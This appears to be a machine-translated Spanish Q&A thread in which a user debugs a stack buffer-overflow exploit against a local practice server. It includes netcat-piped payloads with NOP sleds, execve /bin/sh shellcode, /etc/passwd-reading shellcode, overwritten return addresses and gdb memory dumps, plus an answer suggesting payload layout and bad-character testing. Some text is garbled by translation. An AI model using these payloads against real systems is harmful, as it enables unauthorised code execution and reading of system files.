Desbordamiento de búfer al servidor

4

Tengo un servidor, para referencia: pastebin / ghJX69uH, que puedo netcat y le pedirá que ingrese un msg.

Sé que es vulnerable al desbordamiento de búfer, pero parece que no puedo ejecutar Shellcode. He apuntado con éxito la dirección de retorno a la diapositiva de NOP y golpea el / bin / sh pero no genera un shell. Aquí está mi código:

echo "'python -c 'print "\x90"*65517 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"  + "\xac\xf3\xfe\xbf"*10 + "\n"''" | nc 127.0.0.1 1111

Es un desbordamiento de búfer simple con [NOP SLIDE | SHELLCODE (spawn shell /bin/sh) | return address]

La primera imagen muestra que la dirección de retorno es bffef3ac que va a la diapositiva NOP, ¡así que todo está bien! La segunda imagen da SIG FAULT sin shell, no pasa nada.

¿Quéestápasandoaquí?Echéunvistazoaebpymostróalgoextraño,mi\x90seguidode(¿cuáldeberíasermishellcode)sevediferente?Cualquierinformaciónsobreloquepodríaestarmalocómohacerloalrespecto

0xbffef42c:0x909090900x909090900x909090900x909090900xbffef43c:0x909090900x909090900x909090900x909090900xbffef44c:0x909090900x50c031900x732f2f680x622f68680xbffef45c:0xe3896e690xbffef4680x000000000x6e69622f0xbffef46c:0x68732f2f0x000000000xbffef3ac0xbffef3ac0xbffef47c:0xbffef3ac0xbffef3ac0xbffef3ac0xbffef3ac0xbffef48c:0xbffef3ac0x000000000x000000000x000000000xbffef49c:0x000000000x000000000x000000000x00000000

Edición1:elformatodelcódigoesdenumberphile,shellcodeesde enlace , que corrí y engendra una concha. Intenté agregar el relleno (puse A) como se sugiere entre el código de shell y la dirección de retorno, pero sucede algo extraño:

New code: echo "'python -c 'print "\x90"*65490 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"  + "A"*27 + "\xac\xf4\xfe\xbf" + "\n"''" | nc 127.0.0.1 1129


0xbffef42c: 0x90909090  0x90909090  0x90909090  0xc0319090
0xbffef43c: 0x2f2f6850  0x2f686873  0x896e6962  0x895350e3
0xbffef44c: 0xcd0bb0e1  0x41414180  0x41414141  0x41414141
0xbffef45c: 0x41414141  0x41414141  0x41414141  0x00000001
0xbffef46c: 0xbffef4ac  0x08049000  0x00000004  0xbffff4a4
0xbffef47c: 0xbffff490  0xbffff48c  0x00000004  0x00000000
0xbffef48c: 0x00000000  0x00000000  0x00000000  0x00000000
0xbffef49c: 0x00000000  0x00000000  0x00000000  0x00000000
0xbffef4ac: 0x00000000  0x00000000  0x00000000  0x0000000

Edición 2: ¡Así que logré imprimirlo / etc / passwd pero todavía no puedo hacer que el código de shell funcione para generar un shell!

Works: / etc / passwd

echo "'python -c 'print "\x90"*65478+"\x31\xc9\x31\xc0\x31\xd2\x51\xb0\x05\x68\x73\x73\x77\x64\x68\x63\x2f\x70\x61\x68\x2f\x2f\x65\x74\x89\xe3\xcd\x80\x89\xd9\x89\xc3\xb0\x03\x66\xba\xff\x0f\x66\x42\xcd\x80\x31\xc0\x31\xdb\xb3\x01\xb0\x04\xcd\x80\x31\xc0\xb0\x01\xcd\x80"  +"AAAA\x9c\xf3\xfe\xbf\x9c\xf3\xfe\xbf" + "\n"''" | nc 127.0.0.1 2010

No funciona: / bin / sh

echo "'python -c 'print "\x90"*65513 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" + "AAAA\x9c\xf3\xfe\xbf\x9c\xf3\xfe\xbf\x9c" + "\n"''" | nc 127.0.0.1 3003
    
pregunta user153882 20.03.2017 - 18:02
fuente

1 respuesta

2

Poner esto en la forma de una respuesta para aprovechar el espaciado y el formato adicionales. No puedo intentar replicar tu problema ahora mismo, pero esto es lo que intentaría.

Cada vez que escribo un exploit para un desbordamiento de búfer, mi código sería NOPS + EIP POINTER + NOP BUFFER + SHELLCODE

Por ejemplo:

buffer = "A" * 2000 + "\x8a\x32\x4e\x4e" + "\x90" * 8 + shellcode

Donde "\x8a\x32\x4e\x4e" sería su dirección de retorno

En segundo lugar, sugeriría que se realicen pruebas para detectar caracteres incorrectos que pueden hacer que tu vulnerabilidad se bloquee. No veo ninguno de los sospechosos habituales 0x00 0x0A o 0x0D , pero puede haber un personaje allí que esté causando que falle el exploit.

¿Cuál es el propósito del código "\xac\xf3\xfe\xbf"*10 ? Supongo que es la dirección de retorno, pero ¿por qué lo estás multiplicando por 10?

    
respondido por el DKNUCKLES 20.03.2017 - 19:06
fuente

Lea otras preguntas en las etiquetas